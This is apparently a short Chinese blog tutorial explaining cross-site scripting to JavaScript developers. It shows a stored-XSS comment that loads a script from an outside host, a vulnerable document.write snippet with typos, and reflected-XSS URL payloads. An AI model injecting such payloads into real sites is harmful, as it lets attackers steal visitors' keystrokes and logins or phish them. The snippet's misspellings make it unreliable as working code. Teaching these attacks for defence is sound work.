跨站脚本可以称为XSS,是攻击者向目标Web站点注入HTML标签或者脚本。所以在开发过程中javaScript程序员必须意识到这点。
跨站脚本攻击(Cross-Site Scrpting)简称为XSS,指的是向其他域中的页面的DOM注入一段脚本,该域对其他用户可见。恶意用户可能会试图利用这一弱点记录用户的击键或操作行为,以窃取用户的某些信息。在过去,包含用户提交内容的站点特别容易成为这一漏洞的目标。例如:用户在博客中提交评论,并且在其中包含类似于如下代码的脚本块:
Nice Bolg!Thanks for post that ...<script type="text/javascript" src="http://abc.org/aa.js"></script>
当浏览该页面时,仅有评论是可见的,但对于每一个访问该页面的用户,浏览器都将为该用户下载一份外部脚本。在该外部脚本中可以窥探用户的登录信息或者其他屏幕内容,甚至重写DOM以实现网络钓鱼的企图。
例如:
<script>
var name=docodeURIComponent(window.location.search.substring(1))||"";
docement.write("hello"+name);
<script>
上面脚本是获得url后面以?开头的的后面部分
**如果输入 URL+world;那么输出的是helloworld
**那如果输入 URL+%3Cscript%3Ealert('world')%3C/script%3E 那么注入的脚本只显示一个弹窗(%3C和%3E是尖括号编码)
**接下来如果输入 URL+%3Cscript src=js地址%3E%3C/script%3E 那么注入的就是一个js,那么可能就会出现攻击
***当然在javascript中我们可以通过脚本将<script>两边的标签移除,或替换